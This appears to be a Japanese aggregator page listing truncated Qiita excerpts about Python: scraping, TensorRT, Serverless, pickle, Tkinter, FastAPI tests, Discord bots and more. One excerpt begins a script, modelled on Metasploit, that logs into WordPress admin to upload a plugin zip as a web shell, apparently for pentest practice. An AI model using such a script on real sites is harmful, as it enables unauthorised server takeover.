Python関連のことを調べてみた2020年03月08日

Python関連のことを調べてみた2020年03月08日

友人とブログ投稿を切磋琢磨するために、新着記事を取得するツールを作った

pythonでスクレイピングすることにより、新着ブログポストのタイトルとURLを取得するツールを作成しました。
githubです -> https://github.com/cerven12/new_post_getter

# どんなツールか?

新しく投稿された記事のタイトルとURLを取得します。
既存の投稿一覧のURLが保存されたtxtファイルを使用し、最新の投稿一覧のURLと比較します。
そのため、タイトルや内容の変更などは検知しないようにしています。
ただ、記事の編集でURLが変わるものについて(あるかな…?)は例外です。

Qiitaとはてなで使えるように作っているので、他のサイトはわかりませんが、
htmlが以下のような形式になっているページで使えると思います

“`html

Title
“`

#### 使えたページ
Qiitaのユーザページ : https://qiita.com/takuto_neko_

元記事を表示

scene graphを生成するgraph-rcnnを触ってみた

#一言で言うと
VQAなどのタスクで用いられるscene-graphを生成するモデルであるgraph-rcnnを触ってみたのでまとめました.
論文は[こちら](https://arxiv.org/abs/1808.00191)
元実装コードは[こちら](https://github.com/jwyang/graph-rcnn.pytorch)
可視化結果を追加したコードは[こちら](https://github.com/ms903-github/graph-rcnn.pytorch)

#何のための記事?
* [Graph R-CNN for Scene Graph Generation](https://arxiv.org/abs/1808.00191)の解説
* ↑の実装を回す際の道標

#VQAとは?
VQAとはVisual Question Answeringの略で,画像と選択肢付きの質問文が与えられた時に正解の選択肢を選ぶと言うタスクです.[こちら](https://qiita.com/harmegiddo/items/2a42ed2cf3d046bc84f8)の記事でも説明

元記事を表示

TensorFlow 2.X & TensorRT による推論高速化の第一歩

# はじめに

Keras Applicationsのモデルを利用し、TensorRT用モデルへの変換・推論までをざっと書いています。
TensorRTなどのインストールは、NVIDIA GPU Cloudのコンテナを利用するのでスコープ外です。

# 準備

### 事前条件
– Dockerインストール済
– かつ、GPUコンテナが利用可能

### 実行環境 起動

以下で、実行環境を起動。
Jupyterがインストール済なので、以降のコードはJupyter上で試せます。

“`bash
docker run -it –rm –gpus all -p 8888:8888 –shm-size=1g –ulimit memlock=-1 –ulimit stack=67108864 nvcr.io/nvidia/tensorflow:20.02-tf2-py3 bash

# (Optional)
jupyter lab
“`

– `nvcr.io/nvidia/tensorflow`は、[NVIDIA GPU Cloud](https://ngc.nvidia.

元記事を表示

[Python] Pythonでフォルダ内のファイルを取得

フォルダ内のXMLを取得してParseする必要が生じたので、ファイルパス取得を試みました。

#ライブラリ
globというライブラリをインポートします。
osはファイル名取得に必要なライブラリです。

“`
import glob
import os
“`

#フォルダ指定
*(アスタリスク)でフォルダ内の全てのファイルを指定します。

“`
file = glob.glob(“C:/Users/user/*”)
“`

今回はXMLを取得するのでこんな感じでファイルパスが取得できます。

“`
print(file)
[‘C:/Users/user/AAAAAA.xml’, ‘C:/Users/user/BBBBBB.xml’]
“`
#ファイル名取得
csvに書き出しする際にユニークなファイル名を利用したいので、ついでにファイル名も取得しておきます。
ファイルパス一覧からまずAAAAAA.xmlを取得します。
その後ファイル名を取得するためにos.path.splitを使用しました。

“`
file_A = file[0] //一番上のファイルパスを取得
filen

元記事を表示

Serverless FrameworkでPython版Lambda関数を作成

Python言語で書いたLambda関数を[Serverless Framework](https://serverless.com/)を用いて作成・デプロイした際の設定の記録です。

# 環境

– macOS Catalina
– serverless framework 1.65.0
– python 3.7.4
– node v12.15.0

# プロジェクトのセットアップ

事前にServerless Frameworkのアカウントを作成しておく必要があります。
https://serverless.com/

serverlessコマンドのインストール

“`sh
$ npm install -g serverless
“`

Serverlessプロジェクトの作成

“`sh
$ serverless
“`

プロジェクト名の入力やアカウントへのログイン等を行います。
開発言語の選択肢では「AWS Python」を選びましょう。

入力が完了すると新しくServelessプロジェクト用のディレクトリが作成されます。

# 初期デプロイ

作成されたディレクトリに

元記事を表示

Java言語で学ぶデザインパターン入門の3章まとめ

お久しぶりです。白々です。
先日エンジニアの先輩にデザインパターンをご存知でない!?という冷静なツッコミを頂き、その後結城浩さんが書かれた「Java言語で学ぶデザインパターン入門」を渡されたので勉強することにしました。
ただ、本を一読しても覚えられないので覚書として記事にしようと思いました。
完走できるように頑張ります。
また、「Java言語で学ぶデザインパターン入門」には、サンプルプログラムも有りますが、著作権の都合上省かせて頂きます。御了承ください。

前回は、「Adapterパターン」に関しての記事を作成しました。
前回の記事は、後述のappendixに記載しています。
今回は、「Template Methodパターン」に関して記載したいと思います。
また、「Java言語で学ぶデザインパターン入門」には、サンプルプログラムも有りますが、著作権の都合上省かせて頂きます。御了承ください。

#第3章 Template Method -具体的な処理をサブクラスに任せる
皆さんは、ライトノベルの転生ものというジャンルをご存知でしょうか?
転生ものというジャンルは、基本的に、主人公が死ぬ→

元記事を表示

Django PosgresSQLインストール、データベース構築

#■環境

 Windows10home
 Python3.7
 PostgresSQL10.12

#■インストール・設定手順

## ①PostgresSQLダウンロード、インストール(省略)

## ②環境変数の変更
  「コントロールパネル」-「システム」-「システムの詳細設定」+「環境変数」

## ③Path編集 PostgresSQL追加

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547159/808327e7-1777-27be-5e50-15d5682cd545.png)

## ④PSQLのバージョン確認

“`
 C:\python_project\venv_python_dev\Private_Diary_project>psql –version
psql (PostgreSQL) 10.12
“`

#■データベース作成

## ①psqlログイン
  psql -U postgres

“`
C:\python_project\venv_

元記事を表示

新型コロナウイルスが東京など都市部で感染者数がそれほど多くない理由の仮説

# はじめに
 新型コロナウイルス感染症(COVID-19)の感染者数の推移を[都道府県別新型コロナウイルス感染者マップ](https://gis.jag-japan.com/covid19jp/)等で確認しますと、2020年3月7日現在、北海道で98名、相模原市で21名など局所的にかなりの数に上っている一方、東京都73名、大阪府41名、京都府8名と人の往来の多いはずの都市部で比較的少ない印象です。
 毎日何十万、何百万という人々が通勤・通学あるいは観光し、人口密度の高い場所で接触しながら活動している割に、都市部で感染者数が意外に少ないです。とても不思議ですよね。
 そこで、本記事ではその理由を数理モデルを使って説明できないか、ある仮説を立てて検証してみました。基本的な道具立ては、[先日投稿した記事](https://qiita.com/oki_mebarun/items/60592c703dd4e8d1ff72)をご参照ください。
# 用語
 [前回の記事](https://qiita.com/oki_mebarun/items/60592c703dd4e8d1ff72)でも書きまし

元記事を表示

pickle

#pythonのデータをそのまま保存できます。

“`py
import pickle

class T(object):
def __init__(self, name):
self.name = name

data={
‘a’: [1, 2, 3],
‘b’: (‘test’, ‘test’),
‘c’: {‘key’: ‘value’},
‘d’: T(‘test’)
}

#バイナリで書き込み
with open(‘data.pickle’, ‘wb’) as f:
pickle.dump(data, f)

with open(‘data.pickle’,’rb’) as f:
data_loaded = pickle.load(f)
print(data_loaded)
“`
出力:

“`text
{‘a’: [1, 2, 3], ‘b’: (‘test’, ‘test’), ‘c’: {‘key’: ‘value’}, ‘d’: <__main__.T object at 0x11

元記事を表示

Tkinterのクラス化のテンプレート

#はじめに

Python GUIツールのTkinterのクラス化に関して、定番のやり方を整理します。

#クラス化のテンプレート

1. Applicationクラス
Widget設定&配置, Callback関数を定義
2. main関数

“`Python
import tkinter as tk
from tkinter import ttk

class Application(tk.Frame):
def __init__(self,master):
super().__init__(master)
self.pack()

self.master.geometry(“300×300”)
self.master.title(“Tkinter with Class Template”)

self.create_widgets()

def create_widgets(self):
pass

def callBack(self):

元記事を表示

三角関数に隠された組み合わせの秘密

# はじめに
本記事では, 三角関数のべき級数展開とある組み合わせとの関わりについて触れたいと思います.
少し長くなりますが高度な数学はほとんど登場しないので, 気楽に読んでいただければ幸いです.

# 三角関数はスリザリン?
三角関数といえば, 高校数学の中でも鬼門として知られている分野の1つです.
分かりにくい定義に始まり加法定理をはじめとした数々の公式, 「思いつくかボケ」と言わざるを得ない置換積分など…
筆者も当時とても苦しめられた覚えがあります.
そんな三角関数の中でも, __ズバ抜けて人気がない__ことで有名なのが__タンジェント__です.
[@Keyneqq](https://twitter.com/Keyneqq) さんによる以下のツイートの反響がそんな世の声を反映していますね.

ConnpassイベントをSlack通知するツールを作ってTerraform化してみた

Connpassの勉強会情報をSlack通知するツール(python)を作ってterraformでデプロイ自動化してみました。
ものはこちら → https://github.com/ishim0226/ConnpassToSlack

いくつかパラメータセットしてapplyするだけなので、数分でデプロイできます。

## 作った背景

普段、インフラエンジニアとして働いておりプログラミングすることがあまりないので、勉強してみたいと思ったのがきっかけです。
どうせならインフラ部分のスキルを掛け合わせたいと思い、クラウド上でインフラコード化を前提に考えた結果、このようなものを作ってみました。
おかしな箇所ありましたら、コメントいただけると幸いです。

## ツールの特徴

ざっくり特徴をあげると、以下のようなものです。

– 新規追加されたイベントまたは、更新があったイベントのみ通知します。(通知済みイベントをDBで管理してます)
– 以下で通知するイベントをフィルターできます。
– キーワード(複数のOR指定が可能、※ANDや除外はできません)
– 開催場所(複数のOR

元記事を表示

memcached

#memcachedのインストール

“`
brew install memcached
“`
#ドライバのインストール

“`
pip install python-memcached
“`

#memcachedを起動

“`
memcached -vv
“`

“`py
import time
import memcache

db = memcache.Client([‘127.0.0.1:11211’])

db.set(‘web_page’, ‘value1’,time=1)
time.sleep(2)
print(db.get(‘web_page’)) #1秒経過すると消えてしまうので何も表示されない

db.set(‘counter’,0)
db.incr(‘counter’,1)
db.incr(‘counter’,1)
print(db.get(‘counter’)) #2
“`

元記事を表示

WordPressのプラグインアップロードスクリプト

1.目的

WordPressを攻略するときに、WebShellをアップロードするお手軽なスクリプトが欲しかったが、Webに見つからなかったのでMetasploitのwp_admin_shell_uploadモジュールの通信を参考にして書いてみた。

2.コード

“`python:wp_plugin_upload.py
#!/usr/bin/python
# coding: utf-8

import requests
import sys
import bs4

url = ‘http://10.11.XX.XX’
loginUri = ‘/wp/wp-login.php’
adminUri = ‘/wp/wp-admin/’
pluginUri = ‘/wp/wp-admin/plugin-install.php?tab=upload’
uploadUri = ‘/wp/wp-admin/update.php?action=upload-plugin’
uploadFile = {‘pluginzip’: (‘exploit_plugin.zip’, open(‘

元記事を表示

AWS Lambda(Python)を使うならのまとめ

## はじめに
AWS Lambda(Python)を使うならやったほうが良いことをまとめてみた。
まだ試していないものも含む。随時更新。

## やったほうがよさそうなこと
– Jeffyフレームワークの適用
トレースやロギングの共通処理の実装を簡略化できる。

Lamdbaの開発を便利にするPythonのアプリケーションフレームワークJeffyが公開されました

– AWS Lambda Destinationsの適用
Lambdaの実行結果に応じて次の処理を実施することができる。
https://qiita.com/kojiisd/items/efcb2ac3d5cc176534ba

– AWS Lambda Layersの適用
よく使うライブラリを共通化できる。
https://qiita.com/t_okkan/items/394a15577bd1aad46ec3

– 並列処理化
重い処理を並列処理する。
https://qiita.com/kenmaro/items/69fdd84e18e793a21790
https://aws.amaz

元記事を表示

FastAPIでテスト用のクリーンなDBを作成してpytestでAPIのUnittestを行う

## やること

1. [FastAPIでsqlite3を使用した簡単なCRUDアプリケーションの実装](#FastAPIでsqlite3を使用した簡単なCRUDアプリケーションの実装)
2. [テストケース毎にDBを作成し、他のテストケースや本番用のDBに影響を与えずにpytestでAPIのunittestを行う](#テストケース毎にDBを作成し、他のテストケースや本番用のDBに影響を与えずにpytestでAPIのunittestを行う)

## 1. FastAPIでsqlite3を使用した簡単なCRUDアプリケーションの実装
### CRUDアプリケーション

userアカウントに関するCRUDアプリを作成します。テスト手法の紹介がメインなので以下の簡単な機能だけ実装します。

– Create: ユーザー登録

### 準備
FastAPIに加えて以下のパッケージのpip installが必要です。

– sqlalchemy
– sqlalchemy-utils
– async-exit-stack (Python 3.7では不要)
– async-generator (Py

元記事を表示

SpreadSheetを方眼にしてQRコードをプロットする

以前仕事で、SpreadSheetでQRコードを管理したいという要望があったのだが、SpreadSheetに画像ってどうやってアップロードするんだ?わからん!とかいろいろ悩んでいるうちに、SpreadSheetを方眼にしてそこにQRコードをプロットするという、明日から使える無駄技術を身につけたのでここに書いておく。

#SpreadSheetを外部から操作するための準備
SpreadSheetをgspreadで操作するためにはGoogleCloudのコンソールからAPIを有効にして、jsonキーをダウンロードしないといけない。ここが一番めんどくさかった。
以下が参考になります。
[参考]
[【もう迷わない】Pythonでスプレッドシートに読み書きする初期設定まとめ](https://tanuhack.com/operate-spreadsheet/#Google_Drive_API)
[pythonでGoogle Spread Sheetをいじる(OAuth)](https://qiita.com/AAkira/items/22719cbbd41b26dbd0d1)

#QRのデータな

元記事を表示

AtCoder初参加とこれから

#はじめに
AtCoder_ABC158に初参加後、興奮冷めやらぬまま勢いでQiitaにも登録し、
わけもわからぬまま初投稿です。
Markdown記法って何ですか…Σ(・ω・;ノノ)

#ABCコンテスト参加の経緯
プログラミング学習ひとりは寂しいなぁということで登録したTwitter。
目標となる方たちをフォローしてモチベアップだ!と手あたり次第にアカウントを探していると、
プロフィール欄の「AtCoder 緑です」とか「水色です」という文字が目に留まりました。

調べてみるとなんかコンテストとかやってるっぽいし、勉強にもなるらしい。
ビギナーズセレクションが面白かったので(苦戦しまくりましたが)、たまたま翌日開催だったABC158に参加登録しました。

#参加中の心境の経過
A、B問題
初参加ということもあり緊張から問題文が読めなくて焦りましたが、なんとか20分ほどでAC。

C問題
こいつで躓く。
青と赤を途中まで逆で考えていて実行もうまくいかない。変数名bをblueって読んでたよ…。
連立方程式やぁ!!とか思うけどその実装方法がわからない。
最終的にはBの10%は0~9円まで

元記事を表示

DiscordBOTをPythonで作るときの個人的によく使うテンプレート(備忘録)

# 前提
“`:環境
Python 3.6.6
Discord.py-1.2.5
“`
“`:ディレクトリ構造
├ cogs
│ └ mainCmd.py
└ main.py
“`
# コード
“`python:main.py
import discord
from discord.ext import commands
import traceback

DiscordBot_Cogs = [
‘cogs.mainCmd’
]

class MyBot(commands.Bot):
def __init__(self, command_prefix):
super().__init__(command_prefix)
for cog in DiscordBot_Cogs:
try:
self.load_extension(cog)
except Exception:
traceback.print_exc()

元記事を表示

OTHERカテゴリの最新記事